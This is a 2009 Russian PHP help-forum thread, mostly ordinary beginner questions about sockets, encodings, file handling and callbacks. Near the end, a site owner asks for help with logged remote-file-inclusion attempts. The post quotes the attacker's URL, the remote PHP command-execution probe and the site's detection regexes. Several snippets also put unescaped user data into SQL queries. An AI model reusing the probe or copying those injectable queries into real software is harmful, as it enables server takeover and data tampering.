нет меня видимо опять не понимают, мне нужна точность. И мне нужен таймер по истечению которого выполнится задача, а не проверка на то есть или нет задач. Если каждый раз проверать по 10+ таблиц в бд но то есть или нет не выпОлненые задания а если там сотни заданий... нет это никак не выход из ситуации. У меня есть идея но Как сделать чтоб при нажатии кнопки выполнялся пхп сценарий и после того как сценариз закончился, он отправляет заПрос другому сценарию (как браузер). сорри за корявость текста, я с телефона
Сделай форму с кнопкой. Кнопка запустит скрипт, а в конце скрипта сделай запрос через сокеты(если это не должен видеть пользователь) или header("location: ....");(если нужно чтобы пользователь увидел результат этого запроса).
А если не сложно то можите написать как через сокеты обратится к сценарию который на localhost/time.php (просто обратится к нему, а в нём у меня запрос к бд и таймер) , мне с телефона сложно и дорого искать =/
heretic1990
16.02.2009, 17:42
есть у кого аналог такого скрипта? http://yoip.ru/buttons.php
[JavaScript]
16.02.2009, 17:45
А если не сложно то можите написать как через сокеты обратится к сценарию который на localhost/time.php (просто обратится к нему, а в нём у меня запрос к бд и таймер)
<?php
echo file_get_contents("http://localhost/time.php");
?>
Byrger
<?php
$s = fsockopen('127.0.0.1',80);
fputs($s,"GET /time.php HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n");
$answer = '';
while(!feof($s))
$answer .= fread($s, 512);
fclose($s);
echo $answer;
?>
']Byrger
<?php
$s = fsockopen('127.0.0.1',80);
fputs($s,"GET /time.php HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n");
$answer = '';
while(!feof($s))
$answer .= fread($s, 512);
fclose($s);
echo $answer;
?> А как возможно передать по GET значение id допустим равное 25 (пробовал /time.php?id=25 но не получилось)
В скрипте $id = $_GET['id']; писал?
<?php
$s = fsockopen('127.0.0.1',80);
fputs($s,"GET /time.php?id=25 HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n");
$answer = '';
while(!feof($s))
$answer .= fread($s, 512);
fclose($s);
echo $answer;
?>
если непашет значит либо криво написал , либо в time.php id криво определяется
mr.Babay
16.02.2009, 20:05
Ребята, как бы лучше реализовать чтобы при попадании пользователя на страничку авто-определялся шаблон...
Ну т.е. надо чтобы для пользователей заходящих с компьютеров один шаб, а для пользователей с мобил другой...
groundhog
16.02.2009, 20:06
Только User-Agent анализируй
mr.Babay, листай выше... не так лавно был пример..
groundhog
16.02.2009, 20:12
Ничё листать не надо: http://wurfl.sourceforge.net/
Помню тут кто то выкладывал скрипт пхп который ставил БРки автоматически чтобы страница не разъезжалась, но не могу найти, может у кого есть такой?
Народ нужно к парсеру сделать так что бы он читал еще рандомно текст с txt )
Например есть такой код
function OoO() {
$c=file_get_contents('http://site.ru);
$c=explode("<p>",$c);
$c=explode("<a",$c[1]);
$rp=array("<br>","</a");
$c=str_replace($rp,"\n",$c[0]);
echo $c
мне надо что бы он читал выводил еще случайный текст таким видом, или как нибудь подругому.Вобщем помогите. $f = 'http://site.ru/file.txt';
$a = preg_split('~[\r\n]{1,2}---[\r\n]{1,2}~', file_get_contents($f));
$content = $a[rand(0,sizeof($a)-1)];
Надо так:
1код парсит текст со страници
ла-ла-ла-ла-ла пам пам
текст
текст
текст
-----------
и тут внизу рандомн идет
Если текст брать нужно из файла, то функцией explode разбиваешь и заносишь в массив, получаешь количество записей в массиве и функцией rand выбираешь случайное значение, если что то не понятно, помогу сделать)) если парсишь сайт то просто добавишь регулярку
гык) помоги если не трудно, парс сайт, как регулярку добисать???
А что ты парсишь? Что достать нужно? Инфу между теггами?
если инфу между тегами то preg_match_between()
это не стандартная ф-ция, но она есть в полезных скриптах, где то, по моему
да достаю инфу между тегами, и надо после того как достал, что бы снизу дописывалось вот так:
текст который парсил
----------
после этой черточки идет текст рандомно с моего сайта
<?
if(!empty($bonus))
{
echo "<p style='color:#FF0000; font-size:24px;'>Извините,но Вы уже получили бонусы</p><br>
<a href='../'>На главную</a>";
}
else
{
error_reporting(0);
$result=mysql_connect('localhost','root','');
mysql_select_db('tracker');
$result=mysql_query("UPDATE users SET bonus='$CURUSER[bonus]'+50 WHERE username='$CURUSER[username]'");
setcookie('24_max_free',$bonus,time()+3600);
echo "<p style='color:#0000FF; font-size:24px;'>Спасибо<br>
</p><a href='../'>На главную</a>";
}
?>
Вообщем что-то не получается,запутался,прошу вашей помощи,заранее спасибо :)
<?
if(!empty($_COOKIE['24_max_free']))
{
echo "<p style='color:#FF0000; font-size:24px;'>Извините,но Вы уже получили бонусы</p><br>
<a href='http://bit-bashtel.spb.ru/'>На главную</a>";
}
else
{
error_reporting(0);
$result=mysql_connect('localhost','root','');
mysql_select_db('tracker');
$result=mysql_query("UPDATE users SET bonus='$CURUSER[bonus]'+50 WHERE username='$CURUSER[username]'");
setcookie('24_max_free',$bonus,time()+3600);
echo "<p style='color:#0000FF; font-size:24px;'>Спасибо<br>
</p><a href='http://bit-bashtel.spb.ru/'>На главную</a>";
}
?>
вроде ето задумывалось
так он постоянно пишет
"Спасибо".
Условие не выполняется
[JavaScript]
17.02.2009, 20:22
b3, так не получится. Да и разницы нету.
mysql_query("bla-bla-bla")
Двойные в двойных ковычки не могут быть...
Pashkela
17.02.2009, 20:28
<?
if(!empty($bonus))
{
echo "<p style='color:#FF0000; font-size:24px;'>Извините,но Вы уже получили бонусы</p><br>
<a href='../'>На главную</a>";
}
else
{
error_reporting(0);
$result=mysql_connect('localhost','root','');
mysql_select_db('tracker');
$result=mysql_query("UPDATE users SET bonus='$CURUSER[bonus]'+50 WHERE username='$CURUSER[username]'");
setcookie('24_max_free',$bonus,time()+3600);
echo "<p style='color:#0000FF; font-size:24px;'>Спасибо<br>
</p><a href='../'>На главную</a>";
}
?>
Вообщем что-то не получается,запутался,прошу вашей помощи,заранее спасибо :)
чего не получается? Выложил кусочек кода - дальше телепатируйте? Ошибки, не так работает, как надо, вообще не работает - всё догадываться надо?
Pashkela,это не кусочек кода!!!Это полностью страница,можно догадатся,что процесс начисления бонусов должен происходить один раз
_______________
Вот еще один вариант!Но не идет поиск
<?php
error_reporting(0);
require "include/bittorrent.php";
gzip();
dbconn(true);
$search=$_SERVER[REMOTE_ADDR]; //Что ищем
$filename = "1.txt"; // Файло, где ищем
$handle = fopen($filename, "r+");
$s = fread($handle, filesize($filename));
fclose($handle);
if (stripos($s,$search))
{
echo "<p style='color:#FF0000; font-size:24px;'>Извините,но Вы уже получили бонусы</p><br>
<a href='./'>На главную</a>";
}
else
{
error_reporting(0);
$result=mysql_connect('localhost','root','');
mysql_select_db('tracker');
$result=mysql_query("UPDATE users SET bonus='$CURUSER[bonus]'+50 WHERE username='$CURUSER[username]'");
$file=fopen("1.txt","a+");
$add_new_clubs=fwrite($file,"$_POST[name] - $_SERVER[REMOTE_ADDR]
");
fclose($file);
echo "<p style='color:#0000FF; font-size:24px;'>Спасибо<br>
</p><a href='./'>На главную</a>";
}
?>
kevmen if (stripos($s,$search)!==false)
И проверь правильные ли строки возвращает fread
если непашет значит либо криво написал , либо в time.php id криво определяется
Либо определяется не по GET а по POST
http://hut.ru/ - не могу настроить русский... meta ничего не даёт...
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" >
</head>
<body bgcolor="#000000" text="#ffffff" link="#ffffff" vlink="#ffffff" alink="#ffffff" >
<link href="style.css" rel="stylesheet" type="text/css">
вапр
</body>
</html>
1251 тож не чё не меняет(((
помогите плиззз..замучался...
А у файла кодировка какая? Если ставишь утф8, то и файл нужно в утф8 перевести, в нотепад++ можно
.:EnoT:.
<?php header('Content-type:text/html; charset=UTF-8'); ?>
Warning: Cannot modify header information - headers already sent by (output started at /home/q/errtyu.hut1.ru/WWW/index.php:3) in /home/q/errtyu.hut1.ru/WWW/index.php on line 3
Zedi
т.е. у файла php есть еще параметры кроме тех что внутри?
Pashkela
18.02.2009, 14:20
дык правильно, заголовок уже отослал в html
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" >
делай что-то одно
Pashkela ога)ошибка ушла,но русского нет(((тоже самое...
Jazz, файл может быть сохранен в той или иной кодировке, то есть: если ты браузеру сообщаешь что кодировка у тф8 то кодировка файла соответственно должна быть утф)
Jazz, Открой файл в notepad++ и сделай в меню кодировка, преобразовать в утф8 без Bom
На чем стоит сервер?
Попробуй koi8-r
Jazz, может еще попробовать создать файл .htaccess с содержимым: AddDefaultCharset utf-8
Pashkela
18.02.2009, 14:42
http://hut.ru/
зашел, всё по русски, Jazz, ты бы в браузере автоматическое определение кодировки выставил бы, да. Проблема твоя непонятна вообще. Покажи место на сайте, где хоть что-то нечитабельно
гы:
http://forum.holm.ru/index.php?showtopic=258
http://qwerrtyu.hut1.ru/
<? header("Content-type:text/html; charset=UTF-8"); ?>
<html>
<head>
<title></title>
</head>
<body bgcolor="#000000" text="#ffffff" link="#ffffff" vlink="#ffffff" alink="#ffffff" >
<link href="style.css" rel="stylesheet" type="text/css">
ппыфф
</body>
</html>
ппыфф - ппыфф
Открой файл в notepad++ и сделай в меню кодировка, преобразовать в утф8 без Bom -Не помогло((
На чем стоит сервер? вобще не шарю(((
Попробуй koi8-r - не помогло
может еще попробовать создать файл .htaccess с содержимым: AddDefaultCharset utf-8 кудае его ложить?
Добрый день. помогите пожалуйста с регулярочкой. Нужно из строки $stroka убрать все ковычки (двойные и одинарные).
Заранее спасибо.
//.:EnoT:. с регулярочкой тебе помогут в соседнем разделе. А тут могут помочь с пехапешечкой, понел?
Pashkela
18.02.2009, 15:05
$string = 'bla-bla-bla';
$mashar = array("'", '"');
$zashar = array('','');
$string = str_replace($mashar,$zashar,$string);
Pashkela
18.02.2009, 15:13
2 Jazz:
Ты где свой html набираешь? В смысле в чем???? Я вот локально просто в БЛОКНОТЕ обычном виндосувском набрал твой код - всё ок, без геммороя. Вообще без указания кодировки. Попробуй так. Скорее всего дело в копипасте, а не в ручном труде
)))
header("Content-type:text/html; charset=cp1251") и все заработаеть
Pashkela, я заменил по твоему совету, но немного изменил:
$kovu4ki = array ("'",'"'); $stroka = str_replace($kovu4ki,'',$stroka);
почему-то не работает, ковычки по-прежнему остаюстя
Shadow_p1raT
18.02.2009, 15:21
Gadik,пробуй так
$text = preg_replace('#"|\'#','',$text);
Pashkela o_0 мля....ты прав!!!!!!Adobe Dreamweaver CS4 но руками писал всё !!!спс чувак!!!ты мой герой))))уже тошно от этой проблемы...
тока придеться занаво всё набивать паходу(((
в чём причина только не пойму...
Сорри, там была моя ошибка. Спасибо.
Shadow_p1raT, тоже спасибо, так даже лучше)
Pashkela
18.02.2009, 15:47
Pashkela o_0 мля....ты прав!!!!!!Adobe Dreamweaver CS4 но руками писал всё !!!спс чувак!!!ты мой герой))))уже тошно от этой проблемы...
тока придеться занаво всё набивать паходу(((
в чём причина только не пойму...
http://www.nulled.ws/archive/index.php/t-13432.html
можно юзать всё, но с правильным подходом
есть ли возможность, как-нибудь изловчиться и получить тип input из пхп??кроме как из явы
Pashkela
18.02.2009, 16:44
в смысле? Конкретизируй - типо там текст, цифра или еще что-нибудь?
[JavaScript]
18.02.2009, 17:06
DMajere, а можно конкретнее? Я правильно понял?<?
echo "<form method=post><input type=text name=text value='Введите текст'><input type=submit></form>";
if(isset($_POST['text']))
{
echo "<textarea>$_POST[text]</textarea>";
}
?>
Всем привет.
Вопрос такой: Как указать функцию обратного вызова, если эта функция находится внутри класса.
Пример:
<?php
class a{
function callBack($string)
{
return $string . \" Its OK\";
}
function some($array)
{
return array_map(\"callBack\", $array); # <=== ??
}
}
$class = &new a();
$print = $class->some(array(\'Один\', \'Два\', \'Три\'));
print_r($print);
?>
И как мне в array_map() указать эту самую функцию callback ?
Блин, почему форум все кавычки проэкранировал!!??
return array_map(array($this, 'callBack'), $array);
Shadow_p1raT
18.02.2009, 18:00
вот так
function some($array)
{
return array_map(array($this, 'callBack'), $array);
}
P.S фак,не успел
Спасибо ребят, очень выручили!! :) Очень благодарен!!
жалко рептацию не могу ставить ......(((
у кого-нибудь есть скрипт для просмотра видео с веб камеры???? (любой лиж бы работал))
пипец!теперь из базы вместо русского хрень всякую выводит...в ксампе можно было выбрать кодировку для каждого столбца...и на всю таблицу...а тут нет кнопок таких(((что делать?hut.ru -тут
groundhog
18.02.2009, 19:04
SET NAMES cp1251?
смысл такой. несколько полей ввода. в яве их тип можно узнать так documen.getElementBYId().type
можно ли средствами пхп выполнить что-то подобное.
если конкретно, надо след-есть список полей ввода разных типов. селект, текст итп
хочу сделать через switch выбор проверки- для каждого типа поля свою
groundhog
18.02.2009, 19:26
только если ты hidden полями будешь передавать тип... А объясни мне чем текст в textarea отличается от текста в INPUT TYPE="TEXT"? По-моему ты хочешь перепутать тёплое с мягким и нагородить огород... Нафик?
а блин. действительно!
напугали дите страшными словами - хсс,инъекции.
вот с перепугу и начал клепать проверки ко всему)))
Pashkela
18.02.2009, 20:19
Обрабатывать надо не тип полей, вводимые значения.
никто и не собирался обрабатывать тип. я хотел использовать тип как ключ в операторе swtich
в примерно таком коде
switch(type)
{
case text: различные действия
break;
case radio: различные действия
break;
....
}
вот. потому и спрашивал, есть ли возможность без js достучаться до типа поля.
а дело в следующем
для текстовых полей надо фильтр.
для остальных нет. так что в принципе можно разделить поля на тип text и на все остальные. вот и встает вопрос,как отделить одно от другого?для этого я и задавал вопрос о типах полей. т.е. вместо switch можно просто
if(тип поля текст ){то...}
если подскажете,как подругому отделить мух от катлет буду благодарен)))
Pashkela
18.02.2009, 21:19
только если ты hidden полями будешь передавать тип...
уже было
А не проще ли сделать массивчик с полями и типами?
Вот небольшой примерчик
Поля:
<form method="POST">
<input type="text" name="fieldname1"><br>
<input type="text" name="fieldname2"><br>
<select name="fieldname3">
<option value="1">something1</option>
<option value="2">something2</option>
<option value="3">something3</option>
</select><br>
<input type="submit" name="fieldname4" value="Далее">
</form>
Обработка:
<?php
// массивчик
$types = array(
'fieldname1' => 'text',
'fieldname2' => 'text',
'fieldname3' => 'select',
'fieldname4' => 'submit'
);
foreach($_POST as $fieldname => &$fieldvalue) {
if($types[$fieldname] == 'text') {
$fieldvalue = addslashes($fieldvalue);
} else if($types[$fieldname] == 'select') {
// .......
}
}
?>
только если ты hidden полями будешь передавать тип...
Зато их не составит труда подменить.
Ты что? Фильтр нужен для всех полей и обязательно, вот кто и делает уязвимые скрипты:-D никто не помешает поменять value того же радио буттона
спасибо. массив лучшее решение.
Ты что? Фильтр нужен для всех полей и обязательно, вот кто и делает уязвимые скрипты:-D
поздно. сайт уже вскрыли злые хацкеры, воспользовавшись уязвимостью в radiobutton'ах
;)
черт Zedi, так это был ты... :D
ну, что же непонятного? просто задавший вопрос немного нуб :D .
есть такой код:
function test() {
$arr = file('http://site/test.txt');
$num = mt_rand(1, count($arr));
$content = $arr[$num];
echo $content
как к нему присоеденить этот код
$f = 'http://site/test.txt';
$a = preg_split('~[\r\n]{1,2}---[\r\n]{1,2}~', file_get_contents($f));
$content = $a[rand(0,sizeof($a)-1)];
echo $content ???
примерно так
function test() {
$arr = file('http://site/test.txt');
$num = mt_rand(1, count($arr));
$content2 = $arr[$num];
$f = 'http://site/test2.txt';
$a = preg_split('~[\r\n]{1,2}---[\r\n]{1,2}~', file_get_contents($f));
$content = $a[rand(0,sizeof($a)-1)];
echo $content, $content2
так вобще реально?))) помогите
ммм. вроде бы...
первый код вынимает рандомный символ из файла.
втророй- символ из подстроки.
а что собственно смущает?
надо что бы на экран выводилось сразу из двух кодов)
echo $content.'(пробел)'.$content2;
вот так выведет обе переменные через пробел
мне нужно перевести текст из ANSI в Юникод(не utf-8, а тот что в виндовом блокноте именуется юникодом)
$txt = iconv('windows-1251','Что тут должно быть?',$txt);
Попробуй просто utf или unicode
Попробуй просто utf или unicode
пробовал! вообще майкрософт бредовые прогеры
я понял, кодировка этого файла такая:
UCS-2 Little Endian
и как это будет в iconv выглядеть?
Pashkela
19.02.2009, 16:05
с iconv:
$str=iconv("UCS-2", "UTF-8", $str);
без iconv:
function ucs2_to_utf8($s, $type = 'BE', $to_array = false)
{
static $types = array(
'BE' => 'n', #unsigned short (always 16 bit, big endian byte order)
'LE' => 'v', #unsigned short (always 16 bit, little endian byte order)
);
if (! array_key_exists($type, $types))
{
trigger_error('Unexpected value in second parameter, "' . $type . '" given!', E_USER_WARNING);
return false;
}
$a = array();
foreach (unpack($types[$type] . '*', $s) as $c)
{
if ($c < 0x80) $a[] = chr($c);
elseif ($c < 0x800) $a[] = chr(0xC0 ($c >> 6)) . chr(0x80 ($c & 0x3F));
else $a[] = chr(0xE0 ($c >> 12)) . chr(0x80 (0x3F & ($c >> 6))) . chr(0x80 ($c & 0x3F));
}
return $to_array ? $a : implode('', $a);
}
а там нет случайно вот такого типа без iconv только наоборот? потому что мне как раз надо получить текст в UCS-2 LE. а в iconv нельзя выбрать тип
Ребят, че такое, вроде все правильно, файлы не до конца переименовывает.
$ru=array("&","а","#","б","в"," ","г","д","е","ё","ж","з","и","й","к","л","м","н","о","п","р","с","т","у","ф","х","ц","ч","ш","щ","ъ","ы","ь","э","ю","я");
$tr=array("_","a","_","b","v","_","g","d","e","oh","zh","z","i","j","k","l","m","n","o","p","r","s","t","u","f","x","c","ch","sh","w","qh","y","q","eh","ju","ja");
$attach_name = substr($_FILES['attached']['name'], 0, strrpos($_FILES['attached']['name'], '.'));
Вот весь код
<?
include("include/common.php");
if($loggedin){
include("include/accmenu.php");
}
if( $_POST['submit'] && $_FILES['attached']['name'] ){
$ok_filetypes = explode("|",$att_filetypes);
if (!$_FILES['attached']['error'] && $_FILES['attached']['size'] > $att_max_size*1024){
errform('<CENTER>Извините, слишком большой размер файла!</CENTER><BR><BR>'); // #err
$step = 1;
}
$filename = (!$_FILES['attached']['error'] ? substr( basename($_FILES['attached']['name']), -30 ) : '');
$x = strtolower( substr($_FILES['attached']['name'], -3));
if($filename && !in_array($x, $ok_filetypes) ){
errform('<CENTER>Не поддерживаемый тип файла!!!</CENTER><BR><BR>');
$step = 1;
}
if(!$posterr){
if(!isset($_GET["ipaddress"]) || ($_GET["ipaddress"] == "")) {
$ipaddress = $_SERVER['REMOTE_ADDR'];
$local = 1;
} else {
$ipaddress = $_GET["ipaddress"];
$local = 0;
}
$ru=array("&","а","#","б","в"," ","г","д","е","ё","ж","з","и","й","к","л","м","н","о","п","р","с","т","у","ф","х","ц","ч","ш","щ","ъ","ы","ь","э","ю","я");
$tr=array("_","a","_","b","v","_","g","d","e","oh","zh","z","i","j","k","l","m","n","o","p","r","s","t","u","f","x","c","ch","sh","w","qh","y","q","eh","ju","ja");
$attach_name = substr($_FILES['attached']['name'], 0, strrpos($_FILES['attached']['name'], '.'));
$uniq = strtolower(str_replace($ru,$tr,$attach_name));
$ext = substr($_FILES['attached']['name'], strrpos($_FILES['attached']['name'], '.') + 1);
if (file_exists($att_path."/".$uniq.".".$ext)) $uniq = $uniq . '(copy)';
move_uploaded_file($_FILES['attached']['tmp_name'], $att_path."/".$uniq.".".$ext );
$strQuery = "INSERT INTO images25 SET ";
$strQuery .= "filename='($uniq.$ext)',";
$strQuery .= "ipaddress='{$ipaddress}',";
$strQuery .= "date='".time()."',";
if($myuid){
$strQuery .= "user='{$myuid}',";
}
$strQuery .= "status='1'";
$result = mysql_query($strQuery) or die( mysql_error() );
$aid = mysql_insert_id();
if($aid){
$filen = $siteurl."/".str_replace('./', '', $att_path)."/".$uniq.".$ext";
$filen = str_replace('http://','%%',$filen);
$filen = str_replace('//','/',$filen);
$filen = str_replace('%%','http://',$filen);
//ITS AN IMAGE
if($x=="jpg" or $x=="jpeg" or $x=="gif" or $x=="png" or $x=="jif" or $x=="jfif")
{
$filenx=$filen;
}
else
{
include("include/const.inc.php");
$filenx = $siteurl."/icons/".$Icons[$ext];
}
$step = 2;
}else{
$step = 1;
}
}
}else{
$step = 1;
}
if($step == 1){
?>
Что такое немогу понять( Помогите кто может(
Файл загружается но не переименновываеца до конца( остаюца русские буквы. :confused:
Pashkela
19.02.2009, 16:37
а там нет случайно вот такого типа без iconv только наоборот? потому что мне как раз надо получить текст в UCS-2 LE. а в iconv нельзя выбрать тип
ну тут не сложно самому написать, переводишь всё в хекс и потом по массиву прогоняешь, вот табличка:
http://stuffofinterest.com/misc/utf8.php?s=128
вот какой-то пример с http://php.off.co.il/manual/fr/function.iconv.php
Here is how to convert UTF-8 numbers to UCS-2 numbers in hex:
<?php
function utf8toucs2($str)
{
for ($i=0;$i<strlen($str);$i+=2)
{
$substring1 = $str[$i].$str[$i+1];
$substring2 = $str[$i+2].$str[$i+3];
if (hexdec($substring1) < 127)
$results = "00".$str[$i].$str[$i+1];
else
{
$results = dechex((hexdec($substring1)-192)*64 + (hexdec($substring2)-128));
if ($results < 1000) $results = "0".$results;
$i+=2;
}
$ucs2 .= $results;
}
return $ucs2;
}
echo strtoupper(utf8toucs2("D985D8B1D8AD"))."\n";
echo strtoupper(utf8toucs2("456725"))."\n";
?>
Input:
D985D8B1D8AD
Output:
06450631062D
Input:
456725
Output:
004500670025
ну тут в хексах, дальше просто сопоставить
-=Static=-
19.02.2009, 16:51
Vinsik, у тебя strtolower() не преобразует большие буквы, там какой-то косяк из-за локали, я делал и большие и маленькие.
С php.net:
Описание
string strtolower ( string $str )
Возвращает строку string , в которой все буквенные символы переведены в нижний регистр.
Принадлежность того или иного символа к буквенным определяется с учетом текущей локали. Это означает, что, например, в используемой по умолчанию локали "C" locale, символ Ä не будет преобразован.
Vinsik, у тебя strtolower() не преобразует большие буквы, там какой-то косяк из-за локали, я делал и большие и маленькие.
С php.net:
так что мне делать? Как прально написать?
-=Static=-
19.02.2009, 17:00
Как вариант сдалать так:
$ru=array("&","#"," ","а","б","в","г","д","е","ё","ж","з","и","й","к","л","м","н","о","п","р","с","т","у","ф","х","ц","ч","ш","щ","ъ","ы","ь","э","ю","я","А","Б","В","Г","Д","Е","Ё","Ж","З","И","Й","К","Л","М","Н","О","П","Р","С","Т","У","Ф","Х","Ц","Ч","Ш","Щ","Ъ","Ы","Ь","Э","Ю","Я");
$tr=array("_","_","_","a","b","v","g","d","e","oh","zh","z","i","j","k","l","m","n","o","p","r","s","t","u","f","x","c","ch","sh","w","qh","y","q","eh","ju","ja","a","b","v","g","d","e","oh","zh","z","i","j","k","l","m","n","o","p","r","s","t","u","f","x","c","ch","sh","w","qh","y","q","eh","ju","ja");
Или переопределить strtolower()
Как вариант сдалать так:
$ru=array("&","#"," ","а","б","в","г","д","е","ё","ж","з","и","й","к","л","м","н","о","п","р","с","т","у","ф","х","ц","ч","ш","щ","ъ","ы","ь","э","ю","я","А","Б","В","Г","Д","Е","Ё","Ж","З","И","Й","К","Л","М","Н","О","П","Р","С","Т","У","Ф","Х","Ц","Ч","Ш","Щ","Ъ","Ы","Ь","Э","Ю","Я");
$tr=array("_","_","_","a","b","v","g","d","e","oh","zh","z","i","j","k","l","m","n","o","p","r","s","t","u","f","x","c","ch","sh","w","qh","y","q","eh","ju","ja","a","b","v","g","d","e","oh","zh","z","i","j","k","l","m","n","o","p","r","s","t","u","f","x","c","ch","sh","w","qh","y","q","eh","ju","ja");
Или переопределить strtolower()
спс!!!!
У меня выводит по 5 сообщений на одну страницу
но проблема что если еще добавить сообщение
после 5 сразу линк непоказывает
как сделать что показывало ?
// выбор коментарий
function selcoment($id,$cst)
{
global $cpages;
global $cst;
$cpages = 5;
if($cst == "") $cst = 1;
$cstl = ($cst - 1)*$cpages;
connect();
$q="select user.name, coment.id ,
coment.text,coment.date from coment,
page,user where coment.pid = page.id
and page.id=$id and user.userid = coment.userid limit $cstl,$cpages";
return $at = mysql_query($q);
query_set($at);
}
//вывод коментарий
function newcomentnav($morid)
{
$q ="select count(*) from coment,page where coment.pid = page.id
and page.id=$morid";
$rc = mysql_query($q);
$total = mysql_result($rc,0);
$pnumber = $GLOBALS['cpages'];
$number = (int)($total/$pnumber) ;
if( (float)($total/$pnumber)- $number != 0)
$number++;
for($i =1 ; $i < $number ;$i++)
{
if($number == $i)
{
if($page == $i)
echo ".(($i-1)*$pnumber+1)."-".$total.";
else
echo "<a href=?page&readmore=$morid&allc=".$i.">[".(($i-1)*$pnumber+1)."-".$total."]</a> ";
}
else {
if($page == $i)
echo ".(($i-1)*$pnumber+1)."-".$i*$pnumber.";
else
echo "<a href=?page&readmore=$morid&allc=".$i.">[".(($i-1)* $pnumber + 1)."-".$i*$pnumber."]</a> ";
}
}
}
У меня несколько вопросов. Прошу помощи у знатоков.
1) Форма просто с кнопкой. Типа ОБНОВИТЬ которая передает переменную POST этой же странице... без инпутов и т.д. Работа аналогично F5.
2) PHP разбивка. Я получаю тект из <input в виде текста. И записываю в базу. но так как база не резиновая а текстовые файлы будет в данном случае не надежно мне надо чтобы они разбивались на предел ячейки базы тоесть 255 символов. Проще. Я получил переменну 1000символов. и делаю из нее 4 text1 text2 text3 text4 и записываю в соответствующие ячейки базы.
ЗЫ: спасибо за помощ зарание.
$fp = fopen("counter.txt", "a"); // Открываем файл в режиме записи
$mytext = "Это строку необходимо нам записать\r\n"; // Исходная строка
$test = fwrite($fp, $mytext); // Запись в файл
if ($test) echo 'Данные в файл успешно занесены.';
else echo 'Ошибка при записи в файл.';
fclose($fp); //Закрытие файла
как сдесь сделать что бы текст добавлялся таким видом
1) текст
2) текст2
3) текст3
??
подскажите тупому что нужно сделать чтоб брут на php работал ???
Pashkela
20.02.2009, 04:14
как сдесь сделать что бы текст добавлялся таким видом
1) текст
2) текст2
3) текст3
??'
сам понял, чо спросил? Где в твоём примере
1) текст
2) текст2
3) текст3
????
<?php
$text1 = "1) текст";
$text2 = "2) текст2";
$text3 = "3) текст3";
$fp = fopen("counter.txt", "a"); // Открываем файл в режиме ДОБАВЛЕНИЯ записи в конец файла
if ($fp) { //Проверяем, что файл открылся на ДОБАВЛЕНИЕ ЗАПИСЕЙ
fwrite($fp, $text1 . "\r\n"); // Запись в файл
fwrite($fp, $text2 . "\r\n"); // Запись в файл
fwrite($fp, $text3 . "\r\n"); // Запись в файл
}
fclose($fp); //Закрытие файла
?>
да тупанул)
$fp = fopen("counter.txt", "a"); // Открываем файл в режиме записи
$test = fwrite($fp, $_POST. "\r\n"); // Запись в файл
if ($test) echo 'Данные в файл успешно занесены.' ;
else echo ('Ошибка при записи в файл.';
fclose($fp); //Закрытие файла
возможно тут сделать? что бы он автоматически добавлял, не вписывая. например че нить такого 1=>100
1) текст
2) текст2
3) текст3
Shadow_p1raT
20.02.2009, 16:01
function test($_POST){
{
$fp = fopen("counter.txt", "a"); // Открываем файл в режиме записи
foreach($_POST as $key=>$value) {
fwrite($fp,$value."\r\n");
}
fclose($fp);
}
Frize,это?
spamoney
20.02.2009, 16:17
Всем, добрый день! Такой вопрос:
В логах безопасности сайта (в раделе динамических ошибок), нередко появляются следующие записи:
WARNING: urldecode() expects parameter 1 to be string, array given Line: 178 in file /home/httpd/vhosts/МОЙСАЙТ.ru/httpdocs/security.php
Ссылка: //?_SERVER[DOCUMENT_ROOT]=http://www.igrawm.net.ru/404.txt?
WARNING: preg_match() expects parameter 2 to be string, array given Line: 178 in file /home/httpd/vhosts/МОЙСАЙТ.ru/httpdocs/security.php
Ссылка: //?_SERVER[DOCUMENT_ROOT]=http://www.igrawm.net.ru/404.txt?
Дата размещения: 20.02.09 - 03:51:50
WARNING: base64_decode() expects parameter 1 to be string, array given Line: 183 in file /home/httpd/vhosts/МОЙСАЙТ.ru/httpdocs/security.php
Ссылка: //?_SERVER[DOCUMENT_ROOT]=http://www.igrawm.net.ru/404.txt?
Дата размещения: 20.02.09 - 03:51:50
Перейдя по адресу: http://www.igrawm.net.ru/404.txt?
Видим следующий код:
<?php
echo "Mic22";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
exit;
Как я понимаю сайт пытаются взломать/проверить на какую-то уязвимость, насколько это опасно и можно ли с этим как-то бороться?
P.S
Вот код файла security.php с 177 по 188 строки:
foreach ($_GET as $var_name=>$var_value) {
if (preg_match("/<.*?(script|body|object|iframe|applet|meta|style|fo rm|img|onmouseover).*?>/i", urldecode($var_value)) || preg_match("/\([^>]*\"?[^)]*\)/", $var_value) || preg_match("/\"|\'/", $var_value)) warn_report("HTML in GET - ".$var_name." = ". $var_value."");
if ($security_url_get == 1) {
if (preg_match("/^(http\:\/\/|ftp\:\/\/|\/\/|https:\/\/|php:\/\/|\/\/)/i", $var_value)) warn_report("URL in GET - ".$var_name." = ". $var_value);
}
$security_string = "/UNION|OUTFILE|SELECT|ALTER|INSERT|DROP|".$prefix."_admins|".$prefix."_users|ModAdmin|SaveAdmin|EditAdmin|DelAdmin/i";
$security_decode = base64_decode($var_value);
if (preg_match($security_string, $security_decode)) hack_report("Hack base64 in GET - ".$var_name." = ". $var_value."");
if (preg_match($security_string, $var_value)) hack_report("Hack in GET - ".$var_name." = ". $var_value."");
$security_slash = preg_replace("/\/\*.*?\*\//", "", $var_value);
if (preg_match($security_string, $security_slash)) hack_report("Hack in GET - ".$var_name." = ". $var_value."");
}
Shadow_p1raT, да походу это, ток чет не робит кажись)))
Добрый день. В общем требуется создать такой скрипит, который бы записывал в переменную первые 10 строк файла text.txt, затем заменял бы все слова «ready» на «all. ready» и записывал бы эту переменную в файл text2.txt, при этом удаляя из файла text2.txt всё, что там было.
Пробовал делать так, невышло:
<?php
$i = 0;
